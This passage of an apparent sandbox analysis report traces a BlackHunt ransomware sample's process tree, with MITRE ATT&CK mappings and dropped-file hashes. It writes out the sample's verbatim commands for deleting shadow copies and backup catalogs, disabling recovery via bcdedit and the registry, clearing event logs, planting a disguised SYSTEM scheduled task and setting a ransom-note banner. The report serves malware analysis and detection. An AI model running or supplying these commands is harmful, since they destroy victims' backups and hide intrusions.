  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2964
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe" /F
  2⤵
  PID:1980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2200
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1680
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2244
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2016
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1116
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2300
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1072
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1736
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1168
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1788
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2968
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:4520
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4704
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4816
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4724
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4964
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4708
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4804
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4776
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4900
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4992
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5100
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:5008
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:4848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:5060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:4904
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4976
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4988
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1368
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a632b971d0417af416cc36f5beff27fb9e1bf974432fafbe3f6cc88db8d3e8bf.exe"
  2⤵
  - Deletes itself
  PID:5092
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1596

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2980

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1716

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
d8e97f6adbf8867d71c0578ff4c1bc4a

SHA1
cf4b692de7e7e4da126a96fcb513f28f75b0828b

SHA256
885d8abbd73083d5b63c60d0c949bd6019e8ad40e618fe4348812950f476a5be

SHA512
90eaa1512150f2278d1c2df9b16cdbe34efa8df12c5b98622f27360ee7df421f987a7289806279aa4b5191d64df35a07486cc381ad4973783c47c5338c4ea822

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
5df0ab5e3e8540b4dd2c00ffac1de0b9

SHA1
548decd9e45e3ee2381810db598d33a4a9980949

SHA256
fca56bc07e1ebbf7b15bef0a5ca3e8612e1708a5da6220169657c82ac2271f5b

SHA512
887745769ae0a2e15b9ecac42a587d58921706c0dfb2773592e9dda9ab777499abf33160b2bd3fda299ecb587b0353c57f55c0130cad689f97506b284a24ab95

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
432c19558da6f9cce134b3ae7b44ed82

SHA1
016c6f3aff0eaf8d526ca542e23b4aca19b555bd

SHA256
0441c661469037051ad6f114f7b8f9e22d6542c4629ca5308393cc2f95fda01b

SHA512
48443cbf8b4410cd336aa35c543a9046c9e454cb7822cdc7027671c5cebf9be6e26d717b22527af7c5ffbc4cc9ccd0e33e80afec367d46a3302b86d44abae1a1

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads